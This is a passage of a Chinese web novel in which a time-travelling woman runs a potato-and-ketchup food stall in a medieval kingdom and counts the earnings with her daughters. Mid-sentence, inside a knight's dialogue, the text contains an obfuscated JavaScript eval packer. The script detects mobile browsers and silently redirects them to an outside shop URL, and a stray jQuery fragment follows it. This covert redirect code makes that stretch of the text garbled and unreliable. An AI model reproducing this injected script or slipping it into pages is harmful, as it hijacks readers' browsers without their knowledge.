本地老外的口味果然更本土化一些,香料少了反而觉得不够味。 “请再给我两份,”人群里有人高高举起手,“我得带回去给我家的调皮鬼尝尝。” “我要三份,一份哪够塞牙缝。” “别挤别挤,我先来的……” 尤兰达笑的脸颊疼,短短一会儿工夫,已有二十多人下单,十以外的加法算得菲奥娜头大不已,渐渐招架不住。 约瓦尼见众人蜂拥,不知谁又撅了一下,直接把他整个人顶了出去。 他急得探着脖子喊:“嘿,伙计们,是我先下的单!拜托先做我的那份——” 尤兰达听见透着委屈的高呼,赶紧维持秩序,请那位付了1银币的大客户一旁稍待。 “十份薯饼可不少,放久了口感会差些。”她翻着油锅里的薯饼,耐心叮嘱,“客人若是一时吃不完,带回家放在陶锅上煎一煎,一定要干煎,逼出里面的水份,薯饼便和刚出锅一样酥脆了。” 尤兰达担心客人不知道怎么正确加热,弄巧成拙砸了小吃摊口碑,特意多嘱咐了几句,权当是挂上免责声明。 类似的提醒,她录制素材时总要反复强调,生怕粉丝灵机一动搞什么创新,再回头骂她配方不对。 谁知道,平平无奇的几句,像冷水泼进滚油,炸开锅一般。 “天呐,她竟然教我们该怎么让薯饼更好吃。” “善良的夫人,上帝一定会保佑你的。” “我们会照做的,夫人。” “我们也会保密的,不告诉别人。” 一道道直直投来的柔软目光里,盛着毫不作伪的感激与郑重,好像她教的是长生不老药的配方,就很夸张。 尤兰达张了张嘴,又默默闭上,决定就此打住。 再说下去,她怕这群本地老外要爱上自己,更怕嘴巴一秃噜,行会找上门。 免费传授平民烹饪技巧,会被行会以及同行当做“恶意竞争”“破坏秩序”“砸饭碗”。 万一不小心碰了行会的蛋糕,轻则警告罚款,重则驱逐出城,连辩解的机会都没有。 “知识免费”在当下可不是什么好事。最保险的做法,是把食谱和技巧当做筹码,拿去和修道院、行会、贵族做等价交易。 她摆摆手,玩笑回应:“别这么说,只是架锅生火,算不上什么技巧。” 摊子前的客人来来去去,一份份脆脆薯饼从油锅里捞出、包进叶片、递出。 待最后一份薯饼被小学徒高兴捧走,尤兰达抬头望了望天,竟然比预估的收摊时间提前了将近两个小时。 而此时,仍有不少食客循着空气中未散的油香寻来,探头张望。 尤兰达笑吟吟招呼大家明日赶早。 “嘿,夫人。”又有人唤她。 尤兰达习惯性地重复“收摊了”,一抬头,发现是隔壁摊位卖煮豆子的老头。 他站在两块摊位的交界线,一会挠挠头,一会搓搓胡子拉碴的下巴,腼腆询问。 “我是想问问……”他干咳一声,“明天你还会在这儿摆摊吗?” “会的,还在工匠街。至于位置……”尤兰达耸耸肩,递去一个“你懂的”眼神。 “当然当然,这儿可没有固定位置,谁先到谁占。”老头大约极少主动与人搭话,挤出的笑容干巴又僵硬,像是临时找人借来的,“我想说……你的薯条和薯饼,真不错。 它们招来了很多人,也给我的摊子添了不少人气,真希望明天还能和你挨着。” 尤兰达听明白了,老头想蹭客流呢。 “今天和你做邻居很愉快,”她客气回应,语气温和却并未给出任何保证,“希望明天我们还能遇上。” 老头点点头,不好意思地指了指她正收拾的油锅:“其实我也想尝尝来着。可你知道,我这头只有一双手,忙起来连口水都顾不上喝……”他顿了顿,“明天,明天应该有机会。” 尤兰达弯了弯眼睛:“欢迎。它们会让你满意的。” 彼此干巴巴地笑了两声,笨拙尴尬的社交总算画上了句号。 尤兰达转过身,被算数攻击一下午的菲奥娜,电量耗尽,两眼放空瘫坐。 她失笑,快速将锅碗瓢盆收整好,趁着时间早,去修道院街找西芙拉,一起回家。 正想着她呢,没一会儿,西芙拉的身影就左闪右避挤过人群奔来,挎在她胳膊上的藤篮沉甸甸。 “妈妈,修道院的队伍也太长了,我从没等过那么久……”西芙拉边走边抱怨,脸上全是排队排出来的怨气。 走近摊子前,西芙拉的声音戛然而止。 她愣愣地望着自家无人问津的摊子,扭头望了望隔壁煮豆子摊前依旧排着的长队,脸色肉眼可见地沉了下去。 “这些人……”西芙拉咬着嘴唇,俏脸忿忿不平,“都没有品味的吗?妈妈的薯条那么好吃。” 她转向尤兰达,刻意压低的嗓音依旧愤慨:“妈妈,你别难过。是他们不懂得欣赏。” 尤兰达一听就知道她误会了,想告诉她“其实我们提前卖完收摊了”—— “夫人!等等!请等一下。” 披着深色斗篷的身影从街角疾步奔来,气喘吁吁停在摊前,一把扶住车沿。 尤兰达记得他,出手阔绰的游侠骑士,一银币先生。 “幸好赶上了……你好,夫人,我要那种红色的番茄酱,还有吗?我愿意付钱。” 尤兰达愣了愣,怎么也没想到,这人是来买酱汁的。 卖番茄酱是她后期的打算,这会卖也不是不行,可她没来得及算成本。 尤兰达神色微顿,露出几分为难。 “先生明天再来吧,我们准备……” “只要酱汁,不要薯饼!”约瓦尼急切打断她,恳求道:“好心的夫人请帮帮我吧,多少钱都可以,一罐、不,半罐也行!” 他说着,低头又摸出一枚银币,拍在车沿,同时递来银链系着的带锁扣锡壶。 “两银币够吗?装满这一壶就好。 我知道这很冒昧,但、但我真的……太需要它了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200992|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 尤兰达瞧了瞧巴掌长的壶身,满打满算能装300ml,换来的却是两枚银币! 这还有什么好算的,亏不了一点。 尤兰达笑容灿烂:“好的客人,乐意为您效劳,欢迎下次光临。” 她唰一下抢过银币和锡壶,一勺勺酱汁灌进去。 西芙拉半张着嘴巴,有点看不懂眼前的状况。 菲欧娜听不得“付钱”几个字,早捂着耳朵背过身,装死。 约瓦尼接过沉甸甸的锡壶,长长舒出一口气。 总算……没有错过。 他取完长剑就去了附近的旅馆用餐,顺路采购面包,为接下来的行程做准备。 刚出炉的白面包与黑麦面包码在案上,热烘烘的麦香扑鼻而来。 待到真正入口,香气便像不曾出现过,表皮焦苦,内里寡淡,嚼久了腮帮子酸疼。 约瓦尼包起带走的部分,剩下两块切片面包配着稀薄的蔬菜糊糊吃。 吃过无数次的食物,毫无惊喜可言,也不指望它能带来什么变化,但除了过于熟悉产生的腻烦感,心头罕见萦绕着难以言喻的不满足。 缺了点什么。 约瓦尼没来由想起葡萄叶上的红色酱汁,遂打开锡碗。 他掰下一块面包,蘸着酱汁送入口中,嚼吧嚼吧,不抱什么期望的他,眼睛骤然放光。 面包还是那块面包,一如既往的粗糙硌牙,酸酸甜甜、咸鲜交织的番茄酱裹上舌尖,死气沉沉的面包仿佛注入了灵魂,一切都变得新奇。 约瓦尼不信邪,又掰了一块面包,又蘸了一坨酱汁。 这次,他百分百确信,是酱汁的功劳。 约瓦尼望着锡碗里浅浅一层的番茄酱,神色复杂。 如果没有尝过更好的,他可以心安理得地接受面包的无趣,但偏偏他尝到了。 番茄酱的出现为他绝望的味蕾打开了一扇门,迈出去的他再也回不去了。 没有番茄酱,接下来的路途,他该怎么熬? 约瓦尼不想亏待自己的嘴巴,只沉吟片刻,匆匆收拾一番,牵马转身,折回工匠街。 他需要更多的番茄酱,多贵都愿意买。 幸好,他赶上了。 “多谢您,夫人。”约瓦尼将锡壶仔细收进鞍袋,翻身上马,“愿您的好生意长长久久。” 马蹄哒哒远去。 西芙拉目光追随着飘远,许久之后,她回神转头,如梦似幻。 “妈妈……刚才……我们……赚了两枚银币?” 尤兰达:“不,是三枚。” 赚300枚铜币不难,赚三枚银币可就不简单了。 “不对,不止三枚。” 菲奥娜幽幽插话,一脸生无可恋地站出来,怨气比周末加班的社畜都浓。 她提起鼓囊囊的羊皮包,往前一甩,“咚”一声砸在推车上。 西芙拉愣愣凑近,往羊皮包里一瞄—— “这、这都是今天的?” 上帝啊,小吃摊能赚这么多? “当然没有这么少。” 菲欧娜抱起广口陶罐,“Duang”一下放在羊皮包旁边,震得罐子里的铜币哗啦啦响。 没见过世面的西芙拉发出“哇”的一声,见过世面的尤兰达也不淡定了。 17.第 17 章 习惯无现金支付后,尤兰达想不起来上次摸到大量钱币是哪年的事了。 猛地这么一瞧,确实很有视觉冲击力。 黑森王国的货币并不精巧,一枚铜币直径约40mm,厚度约3mm,像个厚圆牌。 别看大家叫它铜币,实际材质是银铜合金,比起纯铜钱币略重些。 这一罐子外加一包的铜币,抱在手里沉甸甸的没错,实际数额却没那么多。 尤兰达瞬间恢复淡定。 亲手递出去多少份薯条、薯饼,心里大致有数,可赚不到金山银山。 不过即便如此,这一堆铜币也称得上巨额现金了。 “明天该轮到西芙拉收钱了。”菲奥娜面无表情地捶着胳膊,语气充满了被榨干后的平静。 天知道她这一下午都经历了什么。 收钱的时候,菲奥娜每一根神经都绷得死紧,完全体会不到妈妈所说的“赚钱的快乐”。 总有几个算数不好的家伙少给铜币,一会儿少一枚,一会儿少两枚,稍不注意就糊弄过去。 菲奥娜自己的算数也没好到哪去,一份一份算勉强能应付,一次性买三份五份的,脑仁疼半天。 收钱的活简直不是人干的,她得撂挑子。 尤兰达想到老外们的数学水平,沉默了,确实强人所难。 “妈妈知道错了,明天摆摊的时候,我会把价格和份数报清楚,你们照着数钱就好。” 菲奥娜格外好哄,听到妈妈认错,怨气已经散了大半。 她别别扭扭说:“噢~我可没有怪你的意思。快点快点,我们回家吧,我太想知道今天到底赚了多少!” 生意不好的摊主尚且能抽出空来数数钱,算算今天亏了赚了、还差多少能回本,菲奥娜完全没那个时间。 菲奥娜固定好钱罐子,西芙拉把藤篮堆上车板,两人帮着扶住车沿,一起收摊回家。 路过小广场,尤兰达支付了星期六的摊位费,明天多做点,赶早出摊还能赚更多。 第九时祷(15:00)后,正是一天中最热闹的时间段。 下工的工匠、兜售的小贩、采买晚餐食材的主妇……潮水般涌上街头。 为了应对周五的斋戒日,人人手里都提着滴水的鲜鱼、满满一桶的猪血、风干的咸鱼,或是酸溜溜的腌菜。 混杂着鱼腥、汗酸和说不清的体味的空气,像一床厚重的湿被子,劈头盖脸地裹上来。 两个女孩不见异色,尤兰达快熬不住了。 摆摊时,排队的食客们身上就有各种体味,随着他们伸手递钱、抬胳膊接东西,忽浓忽淡的往她鼻子里钻。 好在面前有口油锅,油脂的焦香多少能挡一挡,勉强压住翻涌的胃。 此刻被人群裹挟着往前走,无处可逃。 她憋着一口气,闷头加快了脚步。 拐进贝壳街,人流量锐减,空气也清新了些许。 尤兰达呼呼喘气,缓过劲发现,贝壳街处处洋溢着过年一样的欢快气氛。 沿着街道望去,家家户户门口站着人,笑容满面的和相熟邻里唠嗑。 再定睛一看,他们手里除了各自采买的食材不同,人手一捆木柴和一条咸鱼,从绳结的样式和捆绑手法来看,无疑是从同一处购入。 修道院还有卖木柴的? 尤兰达没往心里去,推着车继续往前走。 快到巷子口,她忽然想起两件事:家里的葡萄藤经不住薅了,得多买点叶子为明天出摊准备。木柴好像也不够烧了。 她叫住两个女儿,数出一把铜币塞进她们手里。 “小菲,你去卖叶子的摊子问问,买些葡萄叶或车前草回来。小西,你去柴火铺,买两捆松木两捆秸秆,让杂役送上门。” 两孩子接过铜币,手拉手笑哈哈跑出去,没跑多远赶紧停下,回过头不放心的说:“妈妈,你一定要等我们回来再数钱,好不好?” 尤兰达哭笑不得,连声答应,女孩们跑远,她重新推起车子往矮人巷走。 没到巷子口呢,她便远远听见妇人们大嗓门的叽叽喳喳,称颂什么巴顿老爷大方。 等她走近,说话声戛然而止,和谐欢乐气氛陡然消失。 夫人们互相交换眼色,一哄而散。 有的低头整理篮子里本就不乱的布料,有的侧过身假装和旁边人说话,还有几个干脆扭头走人。 好吧,她好像被排挤了。 尤兰达脚步未停,神色如常地推车往里走。 身后,窸窸窣窣的议论声飘过来,像是故意让她听见似的: “看见没?真的去摆摊了。” “这么早就收摊,肯定生意不好呗。” “她太懒惰了,才刚过第九时祷呢。” “没见过这样做生意的,要我看,这间铺子迟早赔出去。” “哈,活该。” 尤兰达听着,心里毫无波澜,甚至有点想笑。 新邻居们挺有正义感,还在替原身的前夫、继女抱不平呢。 “费尔南多夫人,请等等。” 正想着,不远处传来一声温和的招呼。 尤兰达循声望去,人群里走出一个身形魁梧的大叔,约莫四十岁上下。 他穿着一身体面的灰褐色亚麻衣袍,腰间挂着一只锡壶和一把木勺。 待他走近,看到他额角显眼的痦子,尤兰达想起这人是谁了——矮人巷的户长,沃格特先生。 户长,就是一条巷子的头头,处理邻里纠纷或颁布、解读政令。往上有街长,负责带领各巷的户长一起管理整条街,是街道的老大。 他们的存在类似于村长、里正、居委会。 原身持有矮人巷的房产,出租也好,变卖也罢,都绕不开户长,以前没少打交道。 如果尤兰达不是酒馆的所有者,在她搬进矮人巷的第一天,就该主动去找户长登记,办理一个相当于“临时居住证”的证明,方便户长街长管理、收税等。 “沃格特先生。”尤兰达停下脚步,微微颔首致意。 “听说你要搬来矮人巷,自己经营店铺了?”沃格特微笑着与她交谈,像是从没听过邻里的闲言碎语。 “是的,沃格特先生,您的消息一如既往的灵通。我需要补什么东西吗?” 沃格特压了压手,示意她别紧张,“放轻松孩子,没什么要补的。我只是来通知大家,星期天轮到矮人巷的居民去山上捡柴了,北1店至少派一个人参与。” 尤兰达一听是这事,果然放轻松了,她真担心冒出来什么莫名其妙的税收。 皇城居民除了花钱买木柴,平时只有出人头,参与社区组织的上山拾柴火活动,可以节省一些开支。 就像春耕时两个村子为抢水源大打出手,在这里,两个街区为抢木柴打群架的情况并不稀奇。 这可不是开玩笑,柴的重要性有时候比食物还高。 尤其进入冬季,人口密集的皇城难逃用柴紧张的状况,别说枯枝落叶了,当地人看见路边小草都想着薅回家晒干烧火。 甚至于有人专门蹲在街上,捡过路牛马拉的粪便,晒干了当柴火使。 温饱温饱,有柴才有温,先温才能顾上饱,柴米油盐,老祖宗把柴排在第一位,可见一斑。 基于柴的重要程度和大家的需求,捡柴火时难免发生争抢和冲突,市议厅按照就近原则划分区域,搞起轮流制。 贝壳街大小一共二十八条巷子,平均下来,大概一个半月一次上山机会,大家格外珍惜和重视。 这周末,恰好轮到矮人巷。 捡柴的山林不远,巷子走到底就是,步行最多40分钟。 难怪海伦夫人舍得让小红帽跑腿,给住在山里的外婆送食物,原来是真不远啊。 “当然,我们会去的,冬季漫长严寒,提前准备不会错。” “星期天第三时祷,去巷子尾集合,大家一起上山。”尤兰达应的爽快,沃格特却不放心,多嘱咐几句:“家里有板车的可以推上,有马车、牛车就更好了,从海螺巷绕过去,能省不少麻烦。” 山林外围早让人薅光,又有护林员看管,不准许随意砍伐活木,大家只能往森林深处钻。距离拉远了,如何运输木柴就成了大难题。 尤兰达认真记下。 “哦~瞧我的脑子,除了这件事……”沃格特交待事项,余光瞥见巷子深处推车走来的一伙人,一拍脑门:“巴顿老爷的小孙子被骑士学院选中,以后会成为一名真正的骑士。 你知道的,这是天大的荣耀,巴顿老爷要大宴宾客。不过今天是斋戒日,所以……” 尤兰达正在品味他的“所以”,沃格特越过她朝身后挥了挥手。 “嘿,伙计们,北1店的费尔南多夫人回来了,希望你们没忘了她。” 呼喊声落下,远处的热络回应随之响起,“哦,真是太巧了,我们正准备离开。” 说着,推车的伙计停下,旁边跟随的青年从车上提下一捆木柴,又提溜起一条咸鱼。 他们往这边张望了一眼,见尤兰达也推着满满的小车,调转脚步走向北1店的院门。 “费尔南多夫人,”青年回头问了一声,“东西放门边可以吗?” 尤兰达停顿了两秒,终于领会了户长的未尽之意。 木柴和咸鱼,来自贝壳街的巴顿老爷,是巴顿家为斋戒日破戒准备的“赎罪”。 巴顿老爷,贝壳街的大富豪,同时担任贝壳街的街长,是一位德高望重的老绅士。 按照当地习俗,斋戒日不许食荤、不许宴饮,如果不得不破规矩,主家需赎罪。 赎罪方式很简单,要么向教会捐赠一大笔金钱,要么向平民分发物资、钱财,自由选择。 做生意的人最在乎现金流,发钱是不可能发的,于是便有了今天这一出,一捆捆木柴、一条条咸鱼,送往贝壳街的每一户人家。 赎罪物资分发下去,等同于昭告贝壳街:巴顿家,出了个可以改变家族命运的骑士。 阶级分明的时代,骑士学院的门槛高得吓人,非贵族子弟不可入读。 一旦成为预备骑士,日后跟随领主、皇室成员征战,有大概率获封土地、爵位,再不济也能免除赋税。 对一心想要抬高家族地位的巴顿老爷而言,无异于久旱逢甘霖。 至于他用了什么手段、走了什么门路才把小孙子送进去,大家心照不宣的忽视了。 “奥——”尤兰达拖长音调,笑容发自肺腑:“仁慈的巴顿老爷,上帝会宽恕他的。也恭喜小巴顿先生,能去骑士学院读书真是前途无量,他会成为贝壳街的骄傲。” 这样的“赎罪”多来点吧,谁不喜欢免费东西呢。 你来我往笑言一番,目送沃格特和巴顿家的伙计们一同离开,尤兰达锁上院门,归置东西。 她答应要等女孩们一起数钱,便先料理那两条鳕鱼。 原身十指不沾阳春水,力气活更是没做过,前几天忙着搬家、打扫卫生,没歇够又忙着做生意,可把这具身体累坏了。 正好赶上斋戒日,大家吃的简单,尤兰达不想弄太复杂的折腾自己,早早决定晚饭吃香煎鳕鱼。 一条足够母女三人吃一顿饱饭,另一条她藏进空间存放。 趁两人没回来,她大胆使用“私货”,抽出厨房纸擦去鱼块表面水份。 这一步很重要,直接决定成败。水分多了鱼肉不紧实,松散易碎,煎出来的颜色也不好看,达不到外酥里嫩的效果。 去除多余水份后,鱼块撒上薄盐、橄榄油,捻两搓迷迭香,做几次马杀鸡,让香料深入肌理。 腌制的间隙,尤兰达搬来泥炉,从棚顶捡两块蜂窝煤。 天气晴好,微风干燥,煤球干得比预想的快,点燃后烟说大不大,说小不小,火势相当稳定,比木柴好掌控。 挺好,第一次手搓蜂窝煤就成功了。 锅热,放入黄油,待融化冒出细密小泡,放入葱姜蒜和几根迷迭香百里香,炸出香气再下鳕鱼块。 正是定型的关键时刻,可别急着翻动,耐心等待鱼皮蜷曲,边缘泛起金黄,再缓缓推动木铲,翻面。 鱼块切得厚实,两面全部煎熟花去十分钟。装盘后,撒点欧芹碎点缀,甩几道酱汁上去,有几分米其林的味。 第二、三块鳕鱼下锅,西芙拉和菲欧娜前后脚赶回来,身后跟着送木柴的杂役,小院一下子闹腾开。 西芙拉监督杂役堆放木柴,时不时指点一两句“往那边靠”“别挨着墙”。 菲奥娜直奔厨房,献宝似的举起一叠叠葡萄叶,眼睛一个劲地往锅里瞄。 “妈妈,今天又吃鳕鱼吗?” “小菲真棒,买的葡萄叶又大又绿。”表扬完孩子,她嗯了一声,“今晚吃香煎鳕鱼。” 菲欧娜习惯了老母亲时不时冒出来一些奇奇怪怪的说法,什么香煎、炒、烙,但依旧感到新奇。 以前斋戒日吃的鳕鱼,要么烤、要么煮,没有调味,没有油脂,干巴巴的,腥气特别重。 可眼前的鳕鱼完全不一样。 完整的造型,金黄的色泽,盘边摆了迷迭香,番茄酱画出好看的条形,漂亮得让人挪不开眼。 西芙拉安顿好木柴,刚踏进门怔 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对西芙拉、菲奥娜两个土著来说,鳕鱼和面包的搭配一如既往,并无稀奇。 真正让这顿晚饭与众不同的,是关于鳕鱼的独特做法。 因这一点点独特,令人叫苦不迭的斋戒日,似乎都变得值得期待了。 夕阳彻底转为橘红色时,家家户户升起炊烟,母女三人终于在餐桌边落座。 照例祷告,然后大快朵颐。 “妈(嚼嚼嚼),你做的鳕鱼是我吃过最好吃的鳕鱼(嚼嚼嚼)。” 菲奥娜又吃美了,脸颊鼓鼓囊囊,话都说不利索,非要抢着发表感言。 实在是香煎鳕鱼的味道远超它的卖相,也远超她对鳕鱼的认识。 鱼皮够酥,鱼肉够嫩,刀叉一拨,雪白肌理层层绽开,汁水微微渗出。 越吃,她越想不通,家里的厨娘到底用了什么巫术,才能让这么美味的鳕鱼做出难以下咽的口感。 西芙拉惦记着数钱,本想加快进食速度,叉子刚戳进鱼肉,就被白嫩的模样勾住了目光。 真漂亮啊,怎么会有看着就好吃的鳕鱼呢? 尤兰达也小小惊讶了一会。 好新鲜的鳕鱼,肉质紧实弹牙,和她从冻货市场批发的食材,完全不在一个档次。 夕阳的余晖收尽,暮色笼罩小院。 母女三人风卷残云般扫光了盘中的鳕鱼和面包,连盘子底部的酱汁都用面包片擦得干干净净。 总要磨蹭一会儿的洗碗环节,今天被默契地抛在了脑后。 “快快快——” 菲奥娜第一个跳起来,清空桌面。 “到底赚了多少啊,它们可真重。” 西芙拉逞强,拒绝尤兰达的帮助,一手抱钱罐子,一手托住羊皮包,挨到桌边时,额角已经崩出青筋。 钱罐子与羊皮包并排砸上桌面,整张桌子猛地一震,连带着烛火都跟着晃了晃。 菲奥娜数了一下午的钱,看到铜币有点生理性反胃,退到墙边的扶手椅坐下,一副“你们数吧,我看着就好”的模样。 西芙拉迫不及待地伸出手,搭在了钱罐的边缘,跃跃欲试。 尤兰达望了望两人,吞下了称重数钱的提议,也没告诉她们家里有数钱专用的分拣盘。 “十个铜币为一组,一排只放十组。数清楚,别漏了。”尤兰达宣布。 话音落下,起居室里只剩铜币“哗啦啦”的碰撞,和西芙拉抑扬顿挫的计数。 “1、2、3……” 菲奥娜远远坐着,信誓旦旦地说“我就看看”。 看着看着,她的眉头皱了起来,嘴唇翕动,无声地跟着西芙拉的节奏数。 直到某一刻,她终于忍不住了,“噌”地起身,撸起袖子凑了过去。 “你数太慢了,我来帮你摆!” “我不用帮——你别抢我的铜币!” 两人闹了一会,才重新开始分拣计数。 烛火摇曳,映着两个女孩专注又兴奋的侧脸,和桌上排到第四排的铜币堆。 数钱数上瘾,肾上腺素飙升,小约翰来清粪,菲奥娜都不想去开门,西芙拉催了她几声才不舍离开。 等菲奥娜再回来,羊皮包软塌塌丢在椅子上,广口钱罐里空荡荡。 “数完了?今天赚了多少?”她急忙追问。 西芙拉烦躁摆手,“别说话,正在算呢,你吵到我——” “不用算了,1015,”尤兰达报出数字,两人抬头看来时,她补充:“铜币。” 加上三枚银币,按照当下的记账方式,今天营业额为13银15铜。 和她估算的差不太多。 西芙拉和菲奥娜齐齐倒吸气。 13银币15铜币……一天赚到的? 惊愕过后,两人狂喜,随后震惊,“妈妈,你是怎么算出来的?” 她们抠破了脑袋,也没把那堆铜币算清楚,没等想出办法,尤兰达直接报答案,太快了! 对上女孩们的星星眼,尤兰达让她们稍安勿躁,抽出莎草纸。 算完营业额,该算算成本和利润了,做完一天生意,总该知道是赚是亏,赚多少亏多少。 “去掉摊位费,以及土豆、番茄、小麦粉、芥末、猪油、木柴等等的市价费用,四舍五入按照390铜币的成本算,今天的净利润是……925铜币!” 酱汁并非一天用完,猪油并非只用一次,木柴和小麦粉的用量无法更精准,土豆、香草自家的,市场价偶有浮动。所有不确定的消耗,尤兰达全部取整数往多了算。 尽管如此,利润率也超60%,实属暴利。 再细算,对比薯条和薯饼的成本和毛利,虽然薯条单价更低,却是毛利更高、更赚钱。 这一点,也和尤兰达的预估差不太多。 要不人家金拱门能成为快餐巨头呢,薯条大有可赚。 第一天营业,尤兰达选择谨慎行事,生意却出乎意料的火爆,甩开同行们一大截。 参考今天的摆摊经验,第二天多备些薯条,换个大锅提前初炸,加快出餐速度,卖出的份量也会更多。 尤兰达念叨着如何改善,西芙拉和菲奥娜面面相觑,眼冒金星。 不是赚到钱就好了吗? 什么毛利、什么成本、什么效率,好难啊,听不懂。 “……是很赚的意思?”她们问。 尤兰达重重点头,“很赚。” 第一天出摊,大获全胜! 18.第 18 章 “我们、我们真的赚到钱了?!” 西芙拉和菲奥娜异常振奋,欢呼着拥抱。 两人扑闪着蓝宝石一样的大眼睛,满是不可置信。 从前她们一周有10银币的零花钱,可领钱时的快乐和此刻的快乐截然不同,好奇特。 尤兰达清了清嗓子,“当然,赚到13枚银币少不了你们的功劳。 小西,你一直帮妈妈洗土豆、捣土豆泥,妈妈都记得。 小菲,你帮妈妈看了大半天炉灶,还主动架木柴。 没有你们,今天可卖不出去这么多土豆。” 西芙拉和菲奥娜对视一眼,眼神里有什么东西悄悄点亮。 听起来……她们的贡献可不小呢。 两人骄傲挺胸,与有荣焉。 尤兰达话音一转,“每人100个铜币,这是你们应得的酬劳。” 酬劳,这个陌生词汇砸进耳朵里,两人俱是一震。 “别这么惊讶,宝贝们。”尤兰达微微一笑,“以后我们赚了更多钱,你们的酬劳只会更多。想想看,只要多坚持几天,你们就可以用自己赚来的钱,买下修道院街那些蕾丝蝴蝶结了。” 用自己赚的钱,买自己喜欢的蕾丝、蝴蝶结? 这个念头一旦钻进脑海,就再也拔不出来了。 尤兰达没管她们此刻有多震撼,又拿来几堆钱币。 “10铜币奖励给小西,今天排一下午的队,买到了优质鳕鱼,辛苦你了。” 西芙拉双眼发直,愣愣地接过塞到手心的铜币。 菲奥娜眼巴巴地望过来,期待几乎溢出。 尤兰达不负她望,笑眯眯塞去三堆铜币,“今天下午全靠小菲收钱,这可不轻松。没有你,妈妈会忙疯掉。你值得30铜币的奖励。” 一下子分出去240铜币,尤兰达一点不心疼,带团队不能吝啬。 真金白银握在手里,让她们亲身的体会到辛劳换来的成果,比任何说教都有效果。 果然,分到铜币的两个小老外热泪盈眶,一左一右扑上来,亲吻她的脸颊。 这下,轮到尤兰达飘忽了。 左手莫妮卡贝鲁奇,右手奥黛丽赫本,还是金发碧眼版本,搁谁谁不迷糊啊。 这一晚,累极的女孩们沾枕即眠。 尤兰达强打精神,为“豆腐制作全过程”配上插图。 这事宜早不宜迟,早些送去修道院,早些换取便宜食材,早些赚钱筹备新店开业。 别问她为什么不直接用制作工艺换取金币,尤兰达也理不清当地人的逻辑。 除了雇佣、交易的场景,双方来往中,使用钱财支付被视为冒犯、划清界限,以及降低身份。 和贵族和富商阶级交换工艺技术,他们会用人脉、资源、生意渠道,或者土地使用权限做为置换。 而修道院,可能一封“朝圣推荐信”就打发了。 有神学包装,大家自然不能说什么,总有虔诚信徒稀罕推荐信。 尤兰达提出得到修道院的商业协助,比如优先采购或价格优惠,属于双方关系绑定的一种体现,以示她诚心与修道院交往,搁在当下是一种无可挑剔的行为。 如果她敢提出用金币买技术,相当于在说“我不想和你有牵扯,两清吧”,十分无礼了,以后和修道院再无深交可能。 尤兰达想了想,街边摊贩毫不在意客户维护,未必和当地人的这一社交逻辑无关。 一直忙到晚上九点多,尤兰达哈欠连连,才整理好羊皮纸上床睡觉。 翌日清晨,精力旺盛的孩子们率先活动起来。 洗漱过后,她们自觉换上灰扑扑的粗麻衣裙,围着水井石台洗土豆,洗完两人有商有量的端起土豆去厨房煮。 尤兰达倚在门边双臂环胸,瞅两人急头白脸的争论如何生火,欣慰的笑了。 “小西,小菲,今天不煮土豆。” “啊?今天……不摆摊吗?” 埋头研究燧石的两人顶着两张大花脸回头看她,菲奥娜抿着嘴,西芙拉的声音里透出一丝失落。 噢不,她们刚体会到赚钱的乐趣呢。 尤兰达摇摇头:“只是不做脆脆薯饼。” 薯饼固然好吃,但制作起来太耗成本了,既然摆摊做生意,降本增效的事必须重视起来。 尤兰达过惯了便捷的现代生活,思维一时没能转换过来。昨天实地体验过后,仔细算了笔账,发现自己的眼光放在当下,多少有些盲点。 她把成本、工时、售价、食客反馈来回算了几遍,怎么算10铜币的薯饼都没赚头,费时费力又费工。 尤兰达一向果断,干脆放弃薯饼,只卖薯条已经够赚的了。 闻言,西芙拉和菲奥娜又扬起笑容。 她们丢下燧石,仰着脸问:“妈妈,那我们要做什么?” “当然是先吃饭了,宝贝们。” 尤兰达尝试过入乡随俗一天只吃两顿,随了一天发现不现实。 睡懒觉起得晚就算了,她们一大早爬起,从7、8点左右饿着肚子干活,下午徒步一个来回摆摊赚钱,不多吃点有营养的食物补充,身体遭不住。 虽然这被当地人视为“不道德”,可道德哪有身体重要。 尤兰达不想再来一次低血糖晕倒穿越的戏码了。 两个孩子正处在贪嘴的年纪,没吃过好的还能凑合忍忍,反正那些食物好吃不到哪去。吃到好的后,根本忍不了一点。 她们念念有词的向上帝忏悔片刻,然后,毫无负担的点菜: “妈,吃番茄风味珍珠浓汤吧。” “我想吃玉米烙。” 尤兰达抽了抽嘴角,她抬手驳回,“今天吃蔬菜粥。” 谁家做了什么饭、几点做的饭,邻里邻居的,伸出头一闻就都知道了。 尤兰达可以无视斋戒日的规矩和生活习俗,却不能明目张胆的反着来。 蔬菜粥不惹眼、气味淡,猫进厨房里煮好,门一开味道很快散没了。 有过一天摆摊经验,尤兰达对时间的掌控和规划清晰太多,一点不见昨日的慌乱。 架起陶锅生火,油热放入大蒜、洋葱块和防风草翻炒,炒香后,放入切丁的胡萝卜、扁豆断生。 然后加水,一直炖到豆子变软,再撒上卷心菜丝和番茄丁,洒一搓盐和迷迭香调味。 搁楞搁楞搅匀,蔬菜粥做好了。 出锅前,就着蒸腾热气,切三片白面包放在锅边烘一烘,很快,麦香混着蔬菜的甜润,飘满整间厨房。 三人饭量一般,做多了不好存放,做少了吃不饱,尤兰达想露一手都找不到机会。 好在俩孩子不挑嘴,蔬菜粥也吃得香喷喷,唏哩呼噜喝了个一干二净。 饭后,西芙拉菲奥娜负责洗碗,尤兰达爬上爬下,把晒足了阳光的煤球收进仓库摞起,留出十几块塞上推车。 柴火麻烦些,她还不能熟练操控,光是调大小火就够狼狈了,有蜂窝煤在,今天应该可以轻松一些。 第一批蜂窝煤入库,该着手准备下一批,煤炭和草屑份量足够,只需去溪边提黏土。 考虑到下午要出摊,暂且把这活留到晚上。 “笃笃笃——” 菜刀起落,节奏均匀,一堆切好的土豆条顺着菜刀一撇,整整齐齐撇进盘子里。 切菜的功夫,尤兰达一心二用,安排好全天的工作量,一点事没耽误。 机械的动作根本用不到什么刀工,三两下,三大盆土豆条准备完毕。她甩甩发酸的手腕,开始切第四盆。 